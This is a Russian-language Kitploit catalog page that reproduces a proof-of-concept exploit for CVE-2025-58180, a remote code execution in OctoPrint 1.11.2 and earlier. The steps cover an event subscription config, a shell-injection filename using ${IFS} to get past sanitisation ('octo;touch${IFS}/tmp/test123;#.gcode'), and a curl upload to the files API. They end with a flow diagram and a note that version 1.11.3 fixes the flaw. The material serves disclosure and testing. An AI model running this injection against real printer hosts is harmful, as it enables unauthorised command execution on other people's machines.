Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-58180 — В OctoPrint версии <=1.11.2 злоумышленник с доступом к загрузке файлов (например, действительный API-ключ или сессия) может создать вредоносное имя файла, которое обходит санитизацию и впоследствии выполняется системой событий OctoPrint, что приводит к удалённому выполнению кода (RCE) на хосте. | Kitploit
Инструменты/GitHubGitHub/prabhatverma47/cve-2025-58180
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и Управление
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

Репозиторий
11 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

В OctoPrint версии <=1.11.2 злоумышленник с доступом к загрузке файлов (например, действительный API-ключ или сессия) может создать вредоносное имя файла, которое обходит санитизацию и впоследствии выполняется системой событий OctoPrint, что приводит к удалённому выполнению кода (RCE) на хосте.

Поделиться

CVE-2025-58180 удалённое выполнение кода в OctoPrint через несанитизированное имя файла при загрузке файла

В OctoPrint версии <=1.11.2 злоумышленник с доступом к загрузке файлов (например, действительный API-ключ или сессия) может создать вредоносное имя файла, которое обходит санитизацию и впоследствии выполняется событийной системой OctoPrint, что приводит к удалённому выполнению кода (RCE) на хосте.


PoC: Шаги для воспроизведения уязвимости

Шаг 1: Информация о версии

Загружена последняя стабильная версия: OctoPrint 1.11.2

image

Шаг 2: Запуск OctoPrint

octoprint serve --port 5000 --debug
  • Откройте http://127.0.0.1:5000 в браузере.
  • Пройдите начальный мастер → создайте пользователя с настройками по умолчанию (отключено: подключение, анонимный доступ, плагины).
  • Скопируйте API-ключ из Настройки → API → сохраните для дальнейшего использования. image

Остановите службу OctoPrint после выполнения указанных выше действий.


Шаг 3: Настройка подписки на события

Следуя документации по событиям OctoPrint:

Отредактируйте ~/.octoprint/config.yaml:

events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"
image

Шаг 4: Создание образца G-code

Создайте /tmp/gcode/ok.gcode:

; minimal gcode
G28
M105

Перезапустите службу OctoPrint.


Шаг 5: Доказательство концепции RCE

  1. Экспортируйте API-ключ:
export API_KEY='<key previously gathered from webUI>'
  1. Убедитесь, что файл не существует:
ls -la /tmp/test123
  1. Сформируйте полезную нагрузку с вредоносным именем файла:
    INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

Пояснение: ${IFS} — это внутренний разделитель полей оболочки (обычно пробел). Он обходит санитизацию при внедрении.

  1. Отправьте curl-запрос:
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"
  1. Проверьте выполнение:
ls -la /tmp/test123
image

Если /tmp/test123 существует, внедрённая команда выполнилась успешно → RCE подтверждено.


Объяснение хода выполнения

[User upload with crafted filename]
        │
        ▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
        │
        ▼
system command subscriber → subprocess.check_call(..., shell=True)
        │
        ▼
[Injected shell metacharacters execute as OS commands]

Резюме

При загрузке файла:

  1. OctoPrint принимает имя файла (с ограниченной санитизацией).
  2. Инициируется событие FileAdded.
  3. Если на это событие подписаны системные команды, исходное имя файла (включая ;, ${IFS} и т. д.) передаётся в оболочку.
  4. Это позволяет внедрённым в имя файла командам выполниться на хосте.

Результат: удалённое выполнение кода (RCE) на хостовой системе.

Ссылки

  • Назначен CVE:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
  • Исправленная версия: 1.11.3

Скачать инструмент